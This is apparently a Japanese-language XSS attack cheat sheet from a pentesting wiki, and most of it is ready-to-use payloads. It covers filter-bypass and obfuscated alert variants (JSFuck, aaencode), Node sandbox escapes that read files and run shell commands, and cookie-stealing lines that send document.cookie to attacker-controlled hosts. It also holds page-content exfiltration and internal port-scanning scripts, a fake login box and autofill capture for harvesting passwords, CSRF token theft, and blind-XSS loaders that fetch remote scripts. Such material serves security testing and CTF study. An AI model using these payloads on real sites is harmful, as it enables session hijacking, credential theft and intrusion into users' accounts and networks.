Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOMの脆弱性

攻撃者によって制御される安全でないデータ、例えばlocation.hrefなどを使用しているJSコードがあります。攻撃者はこれを悪用して任意のJSコードを実行できます。
DOMの脆弱性の説明が拡張されたため、このページに移動しました:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

そこでは、DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるかについて詳細な説明が見つかります。
また、言及された投稿の最後にDOM Clobbering攻撃に関する説明があることを忘れないでください。

その他のバイパス

正規化されたUnicode

サーバー(またはクライアント側)で反映された値Unicode正規化されているかどうかを確認し、この機能を悪用して保護をバイパスできます。こちらに例があります

PHP FILTER_VALIDATE_EMAILフラグバイパス

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails バイパス

RoR マスアサインメントにより、HTMLに引用符が挿入され、その後引用符の制限がバイパスされ、追加フィールドonfocusがタグ内に追加されることがあります。
フォームの例(このレポートから)、次のペイロードを送信すると:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

以下のように、ペア "Key"、"Value" がエコーバックされます:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

特別な組み合わせ

その後、onfocus属性が挿入され、XSSが発生します。

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 レスポンスでのヘッダーインジェクションによる XSS

302 リダイレクトレスポンスで ヘッダーをインジェクト できることがわかった場合、ブラウザに任意の JavaScript を実行させることができます。これは 簡単なことではありません。現代のブラウザは、HTTP レスポンスステータスコードが 302 の場合、HTTP レスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味です。

このレポートこのレポート では、Location ヘッダー内で複数のプロトコルをテストし、ブラウザがボディ内の XSS ペイロードを検査および実行できるかどうかを確認する方法について読むことができます。
過去に知られているプロトコル: mailto://, //x:1/, ws://, wss://, 空の Location ヘッダー, resource://.

文字、数字、ドットのみ

JavaScript が実行する コールバック を指定できる場合、それらの文字に制限されます。この投稿のこのセクション を読んで、この動作を悪用する方法を見つけてください。

有効な <script> コンテンツタイプでの XSS

(こちら から) application/octet-stream などの コンテンツタイプ のスクリプトをロードしようとすると、Chrome は次のエラーをスローします:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Chrome が ロードされたスクリプト を実行するのをサポートする唯一の Content-Type は、https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc 内の const kSupportedJavascriptTypes に含まれるものです。

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSSに使用されるスクリプトの種類

(From こちら) では、どの種類のスクリプトを読み込むために指定できますか?

<script type="???"></script>

以下が答えです:

  • module(デフォルト、説明することはありません)
  • webbundle: Web Bundlesは、複数のデータHTML、CSS、JSなどを**.wbn**ファイルにまとめる機能です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: インポート構文を改善することができます
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

この動作は、この解説で使用され、ライブラリを再マップしてevalを悪用し、XSSをトリガーすることができます。

  • speculationrules: この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するために使用されます。動作は次のようになります:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

XSSに使用されるWebコンテンツタイプ

(こちらから) 以下のコンテンツタイプはすべてのブラウザでXSSを実行できます:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
  • application/rss+xml (off)
  • application/atom+xml (off)

他のブラウザでは他の Content-Types を使用して任意のJSを実行できます。詳細はこちらを参照: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xmlコンテンツタイプ

ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行できます:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特別な置換パターン

"some {{template}} data".replace("{{template}}", <user_input>) のようなものが使用されると、攻撃者は特別な文字列の置換を使用していくつかの保護をバイパスしようとします: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

たとえば、この解説では、これが使用されて、スクリプト内のJSON文字列をエスケープして任意のコードを実行しました。

Chrome キャッシュを利用した XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS Jails Escape

使用できる文字が限られている場合は、XSJail の問題に対する他の有効な解決策を確認してください。

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

もし実行前にすべてが未定義である場合(例:この解説のように、import()を使用して「何もない」から有用なオブジェクトを生成し、任意の未信頼コードの実行を悪用することが可能です。

// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • 間接的に require にアクセスする

これによると、モジュールはNode.jsによって次のように関数でラップされます

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

したがって、そのモジュールから別の関数を呼び出すことができる場合、その関数からarguments.callee.caller.arguments[1]を使用して**require**にアクセスすることが可能です:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

前の例と同様に、エラーハンドラを使用して、モジュールのラッパーにアクセスし、**require**関数を取得することができます。

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

難読化と高度なバイパス

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS一般的なペイロード

複数のペイロード

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

クッキーの取得

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} JavaScriptからクッキーにアクセスできなくなりますHTTPOnly フラグがクッキーに設定されている場合。しかし、この保護をバイパスする方法がいくつかあります。運が良ければ。 {% endhint %}

ページコンテンツの盗み取り

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

内部IPを見つける

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

ポートスキャナーfetch

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

ポートスキャナー(ウェブソケット)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Short times indicate a responding port Longer times indicate no response.

Chromeで禁止されているポートのリストをこちらで、Firefoxで禁止されているポートのリストをこちらで確認してください。

資格情報を求めるボックス

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

パスワードの自動入力キャプチャ

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

キーロガー

GitHubで検索すると、いくつか異なるものが見つかりました

CSRFトークンの盗み取り

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessageメッセージの盗み取り

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Service Workersの悪用

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Shadow DOMへのアクセス

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

ポリグロット

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Blind XSSペイロード

あなたはまた、https://xsshunter.com/を使用することもできます。

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
